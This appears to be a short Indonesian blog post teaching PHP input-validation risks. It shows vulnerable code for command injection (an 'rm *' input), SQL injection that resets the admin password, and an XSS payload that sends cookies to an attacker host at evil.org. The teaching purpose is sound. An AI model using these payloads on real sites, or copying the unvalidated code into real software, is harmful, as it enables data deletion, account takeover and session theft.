Pengenalan dulu
1. Ancaman paling besar : input user
– Jangan pernah percaya bahwa user itu baik dan mengerti kita
– Jangan pernah berasumsi bahwa input user adalah aman
– Input user harus selalu divalidasi
• Ancaman yang bisa terjadi :
– Menjalankan perintah apa pun di komputer server
– Menampilkan informasi sensitif/rahasia
– Menambah/mengedit/menghapus data yang bukan haknya
– Memasuki sistem berpura-pura sebagai orang lain
• Sumber kelalaian di program PHP jika tanpa validasi
– Menjalankan perintah di sistem operasi
– Akses ke basis data
– Cross-site scripting (scripting lintas situs)
-------------------------------------------------------------------
Serangan atau Bug yang Perlu kita perhatikan pada web kita berikut contohnya :
----------------------------------------------------------------------------------
Menjalankan perintah di sistem operas
• Contoh script PHP
<?
$perintah = $_GET["command"];
$output = `$perintah`;
?>
• Contoh input user
http://server/namafile.php?command=rm%20%2A
(command = "rm *")
• Yang terjadi
Akan dijalankan :
$output = `rm *`;
Yaitu menghapus semua file yang ada di direktori tempat file
script PHP berada
---------------------------------------------------------------------------------------
Akses ke basis data
• Contoh script PHP
<?
$id = $_GET["id"];
$name = $_GET["name"];
$query = "update user set name='".$name."' where id='".$id."'";
$result = mysql_query($query);
?>
• Contoh input user
http://server/namafile.php?id=admin&nam ... %3D%27aaaa
name = "admin', pass='aaa")
• Yang terjadi
Akan dijalankan :
$query = "update user set name='admin', pass='aaaa' where id='admin'";
Yaitu mengupdate password admin dengan password baru sesuai keinginan user (aaa)
---------------------------------------------------------------------------------------------------
Cross-Site Scripting
• Contoh script PHP
<?
$subject = $_GET["subject"];
echo "<td>".$subject."</td>";
?>
• Contoh input user
http://server/namafile.php?subject=halo ... ref%3D%27h
ttp%3A%2F%2Fevil.org%2Fcookie-grab.html%3Fcookies%3D%27%2Bescape
%28document.cookie%29%3C%2Fscript%3E
(subject = "halo<script>
self.location.href='http://evil.org/cookiegrab.
html?cookies='+escape(document.cookie)
</script>")
• Yang terjadi
Akan dihasilkan HTML :
<td>halo<script>
self.location.href='http://evil.org/cookiegrab.
html?cookies='+escape(document.cookie)
</script></td>
Yaitu mengirim cookie browser ke sebuah program penangkap di URL si penyerang
0 komentar:
Posting Komentar